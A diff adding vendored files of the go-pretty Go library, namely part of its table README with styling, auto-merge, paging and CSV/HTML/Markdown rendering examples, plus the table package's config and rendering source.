++-----+------------+-----------+--------+-----------------------------+
+```
+
+## Styles
+
+You can customize almost every single thing about the table above. The previous
+example just defaulted to `StyleDefault` during `Render()`. You can use a
+ready-to-use style (as in [style.go](style.go)) or customize it as you want.
+
+### Ready-to-use Styles
+
+Table comes with a bunch of ready-to-use Styles that make the table look really
+good. Set or Change the style using:
+```golang
+    t.SetStyle(table.StyleLight)
+    t.Render()
+```
+to get:
+```
+┌─────┬────────────┬───────────┬────────┬─────────────────────────────┐
+│   # │ FIRST NAME │ LAST NAME │ SALARY │                             │
+├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
+│   1 │ Arya       │ Stark     │   3000 │                             │
+│  20 │ Jon        │ Snow      │   2000 │ You know nothing, Jon Snow! │
+├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
+│ 300 │ Tyrion     │ Lannister │   5000 │                             │
+├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
+│     │            │ TOTAL     │  10000 │                             │
+└─────┴────────────┴───────────┴────────┴─────────────────────────────┘
+```
+
+Or if you want to use a full-color mode, and don't care for boxes, use:
+```golang
+    t.SetStyle(table.StyleColoredBright)
+    t.Render()
+```
+to get:
+
+<img src="images/table-StyleColoredBright.png" width="640px" alt="Colored Table"/>
+
+### Roll your own Style
+
+You can also roll your own style:
+```golang
+    t.SetStyle(table.Style{
+        Name: "myNewStyle",
+        Box: table.BoxStyle{
+            BottomLeft:       "\\",
+            BottomRight:      "/",
+            BottomSeparator:  "v",
+            Left:             "[",
+            LeftSeparator:    "{",
+            MiddleHorizontal: "-",
+            MiddleSeparator:  "+",
+            MiddleVertical:   "|",
+            PaddingLeft:      "<",
+            PaddingRight:     ">",
+            Right:            "]",
+            RightSeparator:   "}",
+            TopLeft:          "(",
+            TopRight:         ")",
+            TopSeparator:     "^",
+            UnfinishedRow:    " ~~~",
+        },
+        Color: table.ColorOptions{
+            IndexColumn:     text.Colors{text.BgCyan, text.FgBlack},
+            Footer:          text.Colors{text.BgCyan, text.FgBlack},
+            Header:          text.Colors{text.BgHiCyan, text.FgBlack},
+            Row:             text.Colors{text.BgHiWhite, text.FgBlack},
+            RowAlternate:    text.Colors{text.BgWhite, text.FgBlack},
+        },
+        Format: table.FormatOptions{
+            Footer: text.FormatUpper,
+            Header: text.FormatUpper,
+            Row:    text.FormatDefault,
+        },
+        Options: table.Options{
+            DrawBorder:      true,
+            SeparateColumns: true,
+            SeparateFooter:  true,
+            SeparateHeader:  true,
+            SeparateRows:    false,
+        },
+    })
+```
+
+Or you can use one of the ready-to-use Styles, and just make a few tweaks:
+```golang
+    t.SetStyle(table.StyleLight)
+    t.Style().Color.Header = text.Colors{text.BgHiCyan, text.FgBlack}
+    t.Style().Color.IndexColumn = text.Colors{text.BgHiCyan, text.FgBlack}
+    t.Style().Format.Footer = text.FormatLower
+    t.Style().Options.DrawBorder = false
+```
+
+## Auto-Merge
+
+You can auto-merge cells horizontally and vertically, but you have request for
+it specifically for each row/column using `RowConfig` or `ColumnConfig`.
+
+```golang
+    rowConfigAutoMerge := table.RowConfig{AutoMerge: true}
+
+    t := table.NewWriter()
+    t.AppendHeader(table.Row{"Node IP", "Pods", "Namespace", "Container", "RCE", "RCE"}, rowConfigAutoMerge)
+    t.AppendHeader(table.Row{"", "", "", "", "EXE", "RUN"})
+    t.AppendRow(table.Row{"1.1.1.1", "Pod 1A", "NS 1A", "C 1", "Y", "Y"}, rowConfigAutoMerge)
+    t.AppendRow(table.Row{"1.1.1.1", "Pod 1A", "NS 1A", "C 2", "Y", "N"}, rowConfigAutoMerge)
+    t.AppendRow(table.Row{"1.1.1.1", "Pod 1A", "NS 1B", "C 3", "N", "N"}, rowConfigAutoMerge)
+    t.AppendRow(table.Row{"1.1.1.1", "Pod 1B", "NS 2", "C 4", "N", "N"}, rowConfigAutoMerge)
+    t.AppendRow(table.Row{"1.1.1.1", "Pod 1B", "NS 2", "C 5", "Y", "N"}, rowConfigAutoMerge)
+    t.AppendRow(table.Row{"2.2.2.2", "Pod 2", "NS 3", "C 6", "Y", "Y"}, rowConfigAutoMerge)
+    t.AppendRow(table.Row{"2.2.2.2", "Pod 2", "NS 3", "C 7", "Y", "Y"}, rowConfigAutoMerge)
+    t.AppendFooter(table.Row{"", "", "", 7, 5, 3})
+    t.SetAutoIndex(true)
+    t.SetColumnConfigs([]table.ColumnConfig{
+        {Number: 1, AutoMerge: true},
+        {Number: 2, AutoMerge: true},
+        {Number: 3, AutoMerge: true},
+        {Number: 4, AutoMerge: true},
+        {Number: 5, Align: text.AlignCenter, AlignFooter: text.AlignCenter, AlignHeader: text.AlignCenter},
+        {Number: 6, Align: text.AlignCenter, AlignFooter: text.AlignCenter, AlignHeader: text.AlignCenter},
+    })
+    t.SetOutputMirror(os.Stdout)
+    t.SetStyle(table.StyleLight)
+    t.Style().Options.SeparateRows = true
+    fmt.Println(t.Render())
+```
+to get:
+```
+┌───┬─────────┬────────┬───────────┬───────────┬───────────┐
+│   │ NODE IP │ PODS   │ NAMESPACE │ CONTAINER │    RCE    │
+│   │         │        │           │           ├─────┬─────┤
+│   │         │        │           │           │ EXE │ RUN │
+├───┼─────────┼────────┼───────────┼───────────┼─────┴─────┤
+│ 1 │ 1.1.1.1 │ Pod 1A │ NS 1A     │ C 1       │     Y     │
+├───┤         │        │           ├───────────┼─────┬─────┤
+│ 2 │         │        │           │ C 2       │  Y  │  N  │
+├───┤         │        ├───────────┼───────────┼─────┴─────┤
+│ 3 │         │        │ NS 1B     │ C 3       │     N     │
+├───┤         ├────────┼───────────┼───────────┼───────────┤
+│ 4 │         │ Pod 1B │ NS 2      │ C 4       │     N     │
+├───┤         │        │           ├───────────┼─────┬─────┤
+│ 5 │         │        │           │ C 5       │  Y  │  N  │
+├───┼─────────┼────────┼───────────┼───────────┼─────┴─────┤
+│ 6 │ 2.2.2.2 │ Pod 2  │ NS 3      │ C 6       │     Y     │
+├───┤         │        │           ├───────────┼───────────┤
+│ 7 │         │        │           │ C 7       │     Y     │
+├───┼─────────┼────────┼───────────┼───────────┼─────┬─────┤
+│   │         │        │           │ 7         │  5  │  3  │
+└───┴─────────┴────────┴───────────┴───────────┴─────┴─────┘
+```
+
+## Paging
+
+You can limit then number of lines rendered in a single "Page". This logic
+can handle rows with multiple lines too. Here is a simple example:
+```golang
+    t.SetPageSize(1)
+    t.Render()
+```
+to get:
+```
++-----+------------+-----------+--------+-----------------------------+
+|   # | FIRST NAME | LAST NAME | SALARY |                             |
++-----+------------+-----------+--------+-----------------------------+
+|   1 | Arya       | Stark     |   3000 |                             |
++-----+------------+-----------+--------+-----------------------------+
+|     |            | TOTAL     |  10000 |                             |
++-----+------------+-----------+--------+-----------------------------+
+
++-----+------------+-----------+--------+-----------------------------+
+|   # | FIRST NAME | LAST NAME | SALARY |                             |
++-----+------------+-----------+--------+-----------------------------+
+|  20 | Jon        | Snow      |   2000 | You know nothing, Jon Snow! |
++-----+------------+-----------+--------+-----------------------------+
+|     |            | TOTAL     |  10000 |                             |
++-----+------------+-----------+--------+-----------------------------+
+
++-----+------------+-----------+--------+-----------------------------+
+|   # | FIRST NAME | LAST NAME | SALARY |                             |
++-----+------------+-----------+--------+-----------------------------+
+| 300 | Tyrion     | Lannister |   5000 |                             |
++-----+------------+-----------+--------+-----------------------------+
+|     |            | TOTAL     |  10000 |                             |
++-----+------------+-----------+--------+-----------------------------+
+```
+
+## Sorting
+
+Sorting can be done on one or more columns. The following code will make the
+rows be sorted first by "First Name" and then by "Last Name" (in case of similar
+"First Name" entries).
+```golang
+    t.SortBy([]table.SortBy{
+	    {Name: "First Name", Mode: table.Asc},
+	    {Name: "Last Name", Mode: table.Asc},
+    })
+```
+
+## Wrapping (or) Row/Column Width restrictions
+
+You can restrict the maximum (text) width for a Row:
+```golang
+    t.SetAllowedRowLength(50)
+    t.Render()
+```
+to get:
+```
++-----+------------+-----------+--------+------- ~
+|   # | FIRST NAME | LAST NAME | SALARY |        ~
++-----+------------+-----------+--------+------- ~
+|   1 | Arya       | Stark     |   3000 |        ~
+|  20 | Jon        | Snow      |   2000 | You kn ~
++-----+------------+-----------+--------+------- ~
+| 300 | Tyrion     | Lannister |   5000 |        ~
++-----+------------+-----------+--------+------- ~
+|     |            | TOTAL     |  10000 |        ~
++-----+------------+-----------+--------+------- ~
+```
+
+## Column Control - Alignment, Colors, Width and more
+
+You can control a lot of things about individual cells/columns which overrides
+global properties/styles using the `SetColumnConfig()` interface:
+- Alignment (horizontal & vertical)
+- Colorization
+- Transform individual cells based on the content
+- Visibility
+- Width (minimum & maximum)
+
+```golang
+    nameTransformer := text.Transformer(func(val interface{}) string {
+        return text.Bold.Sprint(val)
+    })
+
+    t.SetColumnConfigs([]ColumnConfig{
+        {
+            Name:              "First Name",
+            Align:             text.AlignLeft,
+            AlignFooter:       text.AlignLeft,
+            AlignHeader:       text.AlignLeft,
+            Colors:            text.Colors{text.BgBlack, text.FgRed},
+            ColorsHeader:      text.Colors{text.BgRed, text.FgBlack, text.Bold},
+            ColorsFooter:      text.Colors{text.BgRed, text.FgBlack},
+            Hidden:            false,
+            Transformer:       nameTransformer,
+            TransformerFooter: nameTransformer,
+            TransformerHeader: nameTransformer,
+            VAlign:            text.VAlignMiddle,
+            VAlignFooter:      text.VAlignTop,
+            VAlignHeader:      text.VAlignBottom,
+            WidthMin:          6,
+            WidthMax:          64,
+        }
+    })
+```
+
+## Render As ...
+
+Tables can be rendered in other common formats such as:
+
+### ... CSV
+
+```golang
+    t.RenderCSV()
+```
+to get:
+```
+,First Name,Last Name,Salary,
+1,Arya,Stark,3000,
+20,Jon,Snow,2000,"You know nothing\, Jon Snow!"
+300,Tyrion,Lannister,5000,
+,,Total,10000,
+```
+
+### ... HTML Table
+
+```golang
+    t.Style().HTML = table.HTMLOptions{
+        CSSClass:    "game-of-thrones",
+        EmptyColumn: "&nbsp;",
+        EscapeText:  true,
+        Newline:     "<br/>",
+    }
+    t.RenderHTML()
+```
+to get:
+```html
+<table class="game-of-thrones">
+  <thead>
+  <tr>
+    <th align="right">#</th>
+    <th>First Name</th>
+    <th>Last Name</th>
+    <th align="right">Salary</th>
+    <th>&nbsp;</th>
+  </tr>
+  </thead>
+  <tbody>
+  <tr>
+    <td align="right">1</td>
+    <td>Arya</td>
+    <td>Stark</td>
+    <td align="right">3000</td>
+    <td>&nbsp;</td>
+  </tr>
+  <tr>
+    <td align="right">20</td>
+    <td>Jon</td>
+    <td>Snow</td>
+    <td align="right">2000</td>
+    <td>You know nothing, Jon Snow!</td>
+  </tr>
+  <tr>
+    <td align="right">300</td>
+    <td>Tyrion</td>
+    <td>Lannister</td>
+    <td align="right">5000</td>
+    <td>&nbsp;</td>
+  </tr>
+  </tbody>
+  <tfoot>
+  <tr>
+    <td align="right">&nbsp;</td>
+    <td>&nbsp;</td>
+    <td>Total</td>
+    <td align="right">10000</td>
+    <td>&nbsp;</td>
+  </tr>
+  </tfoot>
+</table>
+```
+
+### ... Markdown Table
+
+```golang
+    t.RenderMarkdown()
+```
+to get:
+```markdown
+| # | First Name | Last Name | Salary |  |
+| ---:| --- | --- | ---:| --- |
+| 1 | Arya | Stark | 3000 |  |
+| 20 | Jon | Snow | 2000 | You know nothing, Jon Snow! |
+| 300 | Tyrion | Lannister | 5000 |  |
+|  |  | Total | 10000 |  |
+```

vendor/github.com/jedib0t/go-pretty/v6/table/config.go

@@ -0,0 +1,92 @@
+package table
+
+import (
+	"github.com/jedib0t/go-pretty/v6/text"
+)
+
+// ColumnConfig contains configurations that determine and modify the way the
+// contents of the column get rendered.
+type ColumnConfig struct {
+	// Name is the name of the Column as it appears in the first Header row.
+	// If a Header is not provided, or the name is not found in the header, this
+	// will not work.
+	Name string
+	// Number is the Column # from left. When specified, it overrides the Name
+	// property. If you know the exact Column number, use this instead of Name.
+	Number int
+
+	// Align defines the horizontal alignment
+	Align text.Align
+	// AlignFooter defines the horizontal alignment of Footer rows
+	AlignFooter text.Align
+	// AlignHeader defines the horizontal alignment of Header rows
+	AlignHeader text.Align
+
+	// AutoMerge merges cells with similar values and prevents separators from
+	// being drawn. Caveats:
+	// * VAlign is applied on the individual cell and not on the merged cell
+	// * Does not work in CSV/HTML/Markdown render modes
+	// * Does not work well with horizontal auto-merge (RowConfig.AutoMerge)
+	//
+	// Works best when:
+	// * Style().Options.SeparateRows == true
+	// * Style().Color.Row == Style().Color.RowAlternate (or not set)
+	AutoMerge bool
+
+	// Colors defines the colors to be used on the column
+	Colors text.Colors
+	// ColorsFooter defines the colors to be used on the column in Footer rows
+	ColorsFooter text.Colors
+	// ColorsHeader defines the colors to be used on the column in Header rows
+	ColorsHeader text.Colors
+
+	// Hidden when set to true will prevent the column from being rendered.
+	// This is useful in cases like needing a column for sorting, but not for
+	// display.
+	Hidden bool
+
+	// Transformer is a custom-function that changes the way the value gets
+	// rendered to the console. Refer to text/transformer.go for ready-to-use
+	// Transformer functions.
+	Transformer text.Transformer
+	// TransformerFooter is like Transformer but for Footer rows
+	TransformerFooter text.Transformer
+	// TransformerHeader is like Transformer but for Header rows
+	TransformerHeader text.Transformer
+
+	// VAlign defines the vertical alignment
+	VAlign text.VAlign
+	// VAlignFooter defines the vertical alignment in Footer rows
+	VAlignFooter text.VAlign
+	// VAlignHeader defines the vertical alignment in Header rows
+	VAlignHeader text.VAlign
+
+	// WidthMax defines the maximum character length of the column
+	WidthMax int
+	// WidthEnforcer enforces the WidthMax value on the column contents;
+	// default: text.WrapText
+	WidthMaxEnforcer WidthEnforcer
+	// WidthMin defines the minimum character length of the column
+	WidthMin int
+}
+
+func (c ColumnConfig) getWidthMaxEnforcer() WidthEnforcer {
+	if c.WidthMax == 0 {
+		return widthEnforcerNone
+	}
+	if c.WidthMaxEnforcer != nil {
+		return c.WidthMaxEnforcer
+	}
+	return text.WrapText
+}
+
+// RowConfig contains configurations that determine and modify the way the
+// contents of a row get rendered.
+type RowConfig struct {
+	// AutoMerge merges cells with similar values and prevents separators from
+	// being drawn. Caveats:
+	// * Align is overridden to text.AlignCenter on the merged cell
+	// * Does not work in CSV/HTML/Markdown render modes
+	// * Does not work well with vertical auto-merge (ColumnConfig.AutoMerge)
+	AutoMerge bool
+}

vendor/github.com/jedib0t/go-pretty/v6/table/render.go

@@ -0,0 +1,431 @@
+package table
+
+import (
+	"fmt"
+	"strings"
+	"unicode/utf8"
+
+	"github.com/jedib0t/go-pretty/v6/text"
+)
+
+// Render renders the Table in a human-readable "pretty" format. Example:
+//  ┌─────┬────────────┬───────────┬────────┬─────────────────────────────┐
+//  │   # │ FIRST NAME │ LAST NAME │ SALARY │                             │
+//  ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
+//  │   1 │ Arya       │ Stark     │   3000 │                             │
+//  │  20 │ Jon        │ Snow      │   2000 │ You know nothing, Jon Snow! │
+//  │ 300 │ Tyrion     │ Lannister │   5000 │                             │
+//  ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
+//  │     │            │ TOTAL     │  10000 │                             │
+//  └─────┴────────────┴───────────┴────────┴─────────────────────────────┘
+func (t *Table) Render() string {
+	t.initForRender()
+
+	var out strings.Builder
+	if t.numColumns > 0 {
+		t.renderTitle(&out)
+
+		// top-most border
+		t.renderRowsBorderTop(&out)
+
+		// header rows
+		t.renderRowsHeader(&out)
+
+		// (data) rows
+		t.renderRows(&out, t.rows, renderHint{})
+
+		// footer rows
+		t.renderRowsFooter(&out)
+
+		// bottom-most border
+		t.renderRowsBorderBottom(&out)
+
+		// caption
+		if t.caption != "" {
+			out.WriteRune('\n')
+			out.WriteString(t.caption)
+		}
+	}
+	return t.render(&out)
+}
+
+func (t *Table) renderColumn(out *strings.Builder, row rowStr, colIdx int, maxColumnLength int, hint renderHint) int {
+	numColumnsRenderer := 1
+
+	// when working on the first column, and autoIndex is true, insert a new
+	// column with the row number on it.
+	if colIdx == 0 && t.autoIndex {
+		hintAutoIndex := hint
+		hintAutoIndex.isAutoIndexColumn = true
+		t.renderColumnAutoIndex(out, hintAutoIndex)
+	}
+
+	// when working on column number 2 or more, render the column separator
+	if colIdx > 0 {
+		t.renderColumnSeparator(out, row, colIdx, hint)
+	}
+
+	// extract the text, convert-case if not-empty and align horizontally
+	mergeVertically := t.shouldMergeCellsVertically(colIdx, hint)
+	var colStr string
+	if mergeVertically {
+		// leave colStr empty; align will expand the column as necessary
+	} else if colIdx < len(row) {
+		colStr = t.getFormat(hint).Apply(row[colIdx])
+	}
+	align := t.getAlign(colIdx, hint)
+
+	// if horizontal cell merges are enabled, look ahead and see how many cells
+	// have the same content and merge them all until a cell with a different
+	// content is found; override alignment to Center in this case
+	if t.getRowConfig(hint).AutoMerge && !hint.isSeparatorRow {
+		for idx := colIdx + 1; idx < len(row); idx++ {
+			if row[colIdx] != row[idx] {
+				break
+			}
+			align = text.AlignCenter
+			maxColumnLength += t.maxColumnLengths[idx] +
+				text.RuneCount(t.style.Box.PaddingRight+t.style.Box.PaddingLeft) +
+				text.RuneCount(t.style.Box.PaddingRight)
+			numColumnsRenderer++
+		}
+	}
+	colStr = align.Apply(colStr, maxColumnLength)
+
+	// pad both sides of the column
+	if !hint.isSeparatorRow || (hint.isSeparatorRow && mergeVertically) {
+		colStr = t.style.Box.PaddingLeft + colStr + t.style.Box.PaddingRight
+	}
+
+	t.renderColumnColorized(out, colIdx, colStr, hint)
+
+	return colIdx + numColumnsRenderer
+}
+
+func (t *Table) renderColumnAutoIndex(out *strings.Builder, hint renderHint) {
+	var outAutoIndex strings.Builder
+	outAutoIndex.Grow(t.maxColumnLengths[0])
+
+	if hint.isSeparatorRow {
+		numChars := t.autoIndexVIndexMaxLength + utf8.RuneCountInString(t.style.Box.PaddingLeft) +
+			utf8.RuneCountInString(t.style.Box.PaddingRight)
+		chars := t.style.Box.MiddleHorizontal
+		if hint.isAutoIndexColumn && hint.isHeaderOrFooterSeparator() {
+			chars = text.RepeatAndTrim(" ", len(t.style.Box.MiddleHorizontal))
+		}
+		outAutoIndex.WriteString(text.RepeatAndTrim(chars, numChars))
+	} else {
+		outAutoIndex.WriteString(t.style.Box.PaddingLeft)
+		rowNumStr := fmt.Sprint(hint.rowNumber)
+		if hint.isHeaderRow || hint.isFooterRow || hint.rowLineNumber > 1 {
+			rowNumStr = strings.Repeat(" ", t.autoIndexVIndexMaxLength)
+		}
+		outAutoIndex.WriteString(text.AlignRight.Apply(rowNumStr, t.autoIndexVIndexMaxLength))
+		outAutoIndex.WriteString(t.style.Box.PaddingRight)
+	}
+
+	if t.style.Color.IndexColumn != nil {
+		colors := t.style.Color.IndexColumn
+		if hint.isFooterRow {
+			colors = t.style.Color.Footer
+		}
+		out.WriteString(colors.Sprint(outAutoIndex.String()))
+	} else {
+		out.WriteString(outAutoIndex.String())
+	}
+	hint.isAutoIndexColumn = true
+	t.renderColumnSeparator(out, rowStr{}, 0, hint)
+}
+
+func (t *Table) renderColumnColorized(out *strings.Builder, colIdx int, colStr string, hint renderHint) {
+	colors := t.getColumnColors(colIdx, hint)
+	if colors != nil {
+		out.WriteString(colors.Sprint(colStr))
+	} else if hint.isHeaderRow && t.style.Color.Header != nil {
+		out.WriteString(t.style.Color.Header.Sprint(colStr))
+	} else if hint.isFooterRow && t.style.Color.Footer != nil {
+		out.WriteString(t.style.Color.Footer.Sprint(colStr))
+	} else if hint.isRegularRow() {
+		if colIdx == t.indexColumn-1 && t.style.Color.IndexColumn != nil {
+			out.WriteString(t.style.Color.IndexColumn.Sprint(colStr))
+		} else if hint.rowNumber%2 == 0 && t.style.Color.RowAlternate != nil {
+			out.WriteString(t.style.Color.RowAlternate.Sprint(colStr))
+		} else if t.style.Color.Row != nil {
+			out.WriteString(t.style.Color.Row.Sprint(colStr))
+		} else {
+			out.WriteString(colStr)
+		}
+	} else {
+		out.WriteString(colStr)
+	}
+}
+
+func (t *Table) renderColumnSeparator(out *strings.Builder, row rowStr, colIdx int, hint renderHint) {
+	if t.style.Options.SeparateColumns {
+		separator := t.getColumnSeparator(row, colIdx, hint)
+
+		colors := t.getSeparatorColors(hint)
+		if colors.EscapeSeq() != "" {
+			out.WriteString(colors.Sprint(separator))
+		} else {
+			out.WriteString(separator)
+		}
+	}
+}
+
+func (t *Table) renderLine(out *strings.Builder, row rowStr, hint renderHint) {
+	// if the output has content, it means that this call is working on line
+	// number 2 or more; separate them with a newline
+	if out.Len() > 0 {
+		out.WriteRune('\n')
+	}
+
+	// use a brand new strings.Builder if a row length limit has been set
+	var outLine *strings.Builder
+	if t.allowedRowLength > 0 {
+		outLine = &strings.Builder{}
+	} else {
+		outLine = out
+	}
+	// grow the strings.Builder to the maximum possible row length
+	outLine.Grow(t.maxRowLength)
+
+	nextColIdx := 0
+	t.renderMarginLeft(outLine, hint)
+	for colIdx, maxColumnLength := range t.maxColumnLengths {
+		if colIdx != nextColIdx {
+			continue
+		}
+		nextColIdx = t.renderColumn(outLine, row, colIdx, maxColumnLength, hint)
+	}
+	t.renderMarginRight(outLine, hint)
+
+	// merge the strings.Builder objects if a new one was created earlier
+	if outLine != out {
+		outLineStr := outLine.String()
+		if text.RuneCount(outLineStr) > t.allowedRowLength {
+			trimLength := t.allowedRowLength - utf8.RuneCountInString(t.style.Box.UnfinishedRow)
+			if trimLength > 0 {
+				out.WriteString(text.Trim(outLineStr, trimLength))
+				out.WriteString(t.style.Box.UnfinishedRow)
+			}
+		} else {
+			out.WriteString(outLineStr)
+		}
+	}
+
+	// if a page size has been set, and said number of lines has already
+	// been rendered, and the header is not being rendered right now, render
+	// the header all over again with a spacing line
+	if hint.isRegularRow() {
+		t.numLinesRendered++
+		if t.pageSize > 0 && t.numLinesRendered%t.pageSize == 0 && !hint.isLastLineOfLastRow() {
+			t.renderRowsFooter(out)
+			t.renderRowsBorderBottom(out)
+			out.WriteString(t.style.Box.PageSeparator)
+			t.renderRowsBorderTop(out)
+			t.renderRowsHeader(out)
+		}
+	}
+}
+
+func (t *Table) renderMarginLeft(out *strings.Builder, hint renderHint) {
+	if t.style.Options.DrawBorder {
+		border := t.style.Box.Left
+		if hint.isBorderTop {
+			if t.title != "" {
+				border = t.style.Box.LeftSeparator
+			} else {
+				border = t.style.Box.TopLeft
+			}
+		} else if hint.isBorderBottom {
+			border = t.style.Box.BottomLeft
+		} else if hint.isSeparatorRow {
+			if t.autoIndex && hint.isHeaderOrFooterSeparator() {
+				border = t.style.Box.Left
+			} else if !t.autoIndex && t.shouldMergeCellsVertically(0, hint) {
+				border = t.style.Box.Left
+			} else {
+				border = t.style.Box.LeftSeparator
+			}
+		}
+
+		colors := t.getBorderColors(hint)
+		if colors.EscapeSeq() != "" {
+			out.WriteString(colors.Sprint(border))
+		} else {
+			out.WriteString(border)
+		}
+	}
+}
+
+func (t *Table) renderMarginRight(out *strings.Builder, hint renderHint) {
+	if t.style.Options.DrawBorder {
+		border := t.style.Box.Right
+		if hint.isBorderTop {
+			if t.title != "" {
+				border = t.style.Box.RightSeparator
+			} else {
+				border = t.style.Box.TopRight
+			}
+		} else if hint.isBorderBottom {
+			border = t.style.Box.BottomRight
+		} else if hint.isSeparatorRow {
+			if t.shouldMergeCellsVertically(t.numColumns-1, hint) {
+				border = t.style.Box.Right
+			} else {
+				border = t.style.Box.RightSeparator
+			}
+		}
+
+		colors := t.getBorderColors(hint)
+		if colors.EscapeSeq() != "" {
+			out.WriteString(colors.Sprint(border))
+		} else {
+			out.WriteString(border)
+		}
+	}
+}
+
+func (t *Table) renderRow(out *strings.Builder, row rowStr, hint renderHint) {
+	if len(row) > 0 {
+		// fit every column into the allowedColumnLength/maxColumnLength limit
+		// and in the process find the max. number of lines in any column in
+		// this row
+		colMaxLines := 0
+		rowWrapped := make(rowStr, len(row))
+		for colIdx, colStr := range row {
+			widthEnforcer := t.columnConfigMap[colIdx].getWidthMaxEnforcer()
+			rowWrapped[colIdx] = widthEnforcer(colStr, t.maxColumnLengths[colIdx])
+			colNumLines := strings.Count(rowWrapped[colIdx], "\n") + 1
+			if colNumLines > colMaxLines {
+				colMaxLines = colNumLines
+			}
+		}
+
+		// if there is just 1 line in all columns, add the row as such; else
+		// split each column into individual lines and render them one-by-one
+		if colMaxLines == 1 {
+			hint.isLastLineOfRow = true
+			t.renderLine(out, rowWrapped, hint)
+		} else {
+			// convert one row into N # of rows based on colMaxLines
+			rowLines := make([]rowStr, len(row))
+			for colIdx, colStr := range rowWrapped {
+				rowLines[colIdx] = t.getVAlign(colIdx, hint).ApplyStr(colStr, colMaxLines)
+			}
+			for colLineIdx := 0; colLineIdx < colMaxLines; colLineIdx++ {
+				rowLine := make(rowStr, len(rowLines))
+				for colIdx, colLines := range rowLines {
+					rowLine[colIdx] = colLines[colLineIdx]
+				}
+				hint.isLastLineOfRow = colLineIdx == colMaxLines-1
+				hint.rowLineNumber = colLineIdx + 1
+				t.renderLine(out, rowLine, hint)
+			}
+		}
+	}
+}
+
+func (t *Table) renderRowSeparator(out *strings.Builder, hint renderHint) {
+	if hint.isBorderTop || hint.isBorderBottom {
+		if !t.style.Options.DrawBorder {
+			return
+		}
+	} else if hint.isHeaderRow && !t.style.Options.SeparateHeader {
+		return
+	} else if hint.isFooterRow && !t.style.Options.SeparateFooter {
+		return
+	}
+	hint.isSeparatorRow = true
+	t.renderLine(out, t.rowSeparator, hint)
+}
+
+func (t *Table) renderRows(out *strings.Builder, rows []rowStr, hint renderHint) {
+	for rowIdx, row := range rows {
+		hint.isFirstRow = rowIdx == 0
+		hint.isLastRow = rowIdx == len(rows)-1
+		hint.rowNumber = rowIdx + 1
+		t.renderRow(out, row, hint)
+
+		if (t.style.Options.SeparateRows && rowIdx < len(rows)-1) || // last row before footer
+			(t.separators[rowIdx] && rowIdx != len(rows)-1) { // manually added separator not after last row
+			hint.isFirstRow = false
+			t.renderRowSeparator(out, hint)
+		}
+	}
+}
+
+func (t *Table) renderRowsBorderBottom(out *strings.Builder) {
+	t.renderRowSeparator(out, renderHint{isBorderBottom: true, isFooterRow: true})
+}
+
+func (t *Table) renderRowsBorderTop(out *strings.Builder) {
+	t.renderRowSeparator(out, renderHint{isBorderTop: true, isHeaderRow: true})
+}
+
+func (t *Table) renderRowsFooter(out *strings.Builder) {
+	if len(t.rowsFooter) > 0 {
+		t.renderRowSeparator(out, renderHint{
+			isFooterRow:    true,
+			isFirstRow:     true,
+			isSeparatorRow: true,
+		})
+		t.renderRows(out, t.rowsFooter, renderHint{isFooterRow: true})
+	}
+}
+
+func (t *Table) renderRowsHeader(out *strings.Builder) {
+	if len(t.rowsHeader) > 0 || t.autoIndex {
+		if len(t.rowsHeader) > 0 {
+			t.renderRows(out, t.rowsHeader, renderHint{isHeaderRow: true})
+		} else if t.autoIndex {
+			t.renderRow(out, t.getAutoIndexColumnIDs(), renderHint{isAutoIndexRow: true, isHeaderRow: true})
+		}
+		t.renderRowSeparator(out, renderHint{
+			isHeaderRow:    true,
+			isLastRow:      true,
+			isSeparatorRow: true,
+			rowNumber:      len(t.rowsHeader),
+		})
+	}
+}
+
+func (t *Table) renderTitle(out *strings.Builder) {
+	if t.title != "" {
+		rowLength := t.maxRowLength
+		if t.allowedRowLength != 0 && t.allowedRowLength < rowLength {
+			rowLength = t.allowedRowLength
+		}
+		if t.style.Options.DrawBorder {
+			lenBorder := rowLength - text.RuneCount(t.style.Box.TopLeft+t.style.Box.TopRight)
+			out.WriteString(t.style.Box.TopLeft)
+			out.WriteString(text.RepeatAndTrim(t.style.Box.MiddleHorizontal, lenBorder))
+			out.WriteString(t.style.Box.TopRight)
+		}
+
+		lenText := rowLength - text.RuneCount(t.style.Box.PaddingLeft+t.style.Box.PaddingRight)
+		if t.style.Options.DrawBorder {
+			lenText -= text.RuneCount(t.style.Box.Left + t.style.Box.Right)
+		}
+		titleText := text.WrapText(t.title, lenText)
+		for _, titleLine := range strings.Split(titleText, "\n") {
+			titleLine = strings.TrimSpace(titleLine)
+			titleLine = t.style.Title.Format.Apply(titleLine)
+			titleLine = t.style.Title.Align.Apply(titleLine, lenText)
+			titleLine = t.style.Box.PaddingLeft + titleLine + t.style.Box.PaddingRight
+			titleLine = t.style.Title.Colors.Sprint(titleLine)
+
+			if out.Len() > 0 {
+				out.WriteRune('\n')
+			}
+			if t.style.Options.DrawBorder {
+				out.WriteString(t.style.Box.Left)
+			}
+			out.WriteString(titleLine)
+			if t.style.Options.DrawBorder {
+				out.WriteString(t.style.Box.Right)
+			}
+		}
+	}
+}

vendor/github.com/jedib0t/go-pretty/v6/table/render_csv.go

@@ -0,0 +1,81 @@
+package table
+
+import (
+	"fmt"
+	"strings"
+	"unicode/utf8"
+)
+
+// RenderCSV renders the Table in CSV format. Example:
+//  #,First Name,Last Name,Salary,
+//  1,Arya,Stark,3000,
+//  20,Jon,Snow,2000,"You know nothing\, Jon Snow!"
+//  300,Tyrion,Lannister,5000,
+//  ,,Total,10000,
+func (t *Table) RenderCSV() string {
+	t.initForRender()
+
+	var out strings.Builder
+	if t.numColumns > 0 {
+		if t.title != "" {
+			out.WriteString(t.title)
+		}
+		if t.autoIndex && len(t.rowsHeader) == 0 {
+			t.csvRenderRow(&out, t.getAutoIndexColumnIDs(), renderHint{isAutoIndexRow: true, isHeaderRow: true})
+		}
+		t.csvRenderRows(&out, t.rowsHeader, renderHint{isHeaderRow: true})
+		t.csvRenderRows(&out, t.rows, renderHint{})
+		t.csvRenderRows(&out, t.rowsFooter, renderHint{isFooterRow: true})
+		if t.caption != "" {
+			out.WriteRune('\n')
+			out.WriteString(t.caption)
+		}
+	}
+	return t.render(&out)
+}
+
+func (t *Table) csvFixCommas(str string) string {
+	return strings.Replace(str, ",", "\\,", -1)
+}
+
+func (t *Table) csvFixDoubleQuotes(str string) string {
+	return strings.Replace(str, "\"", "\\\"", -1)
+}
+
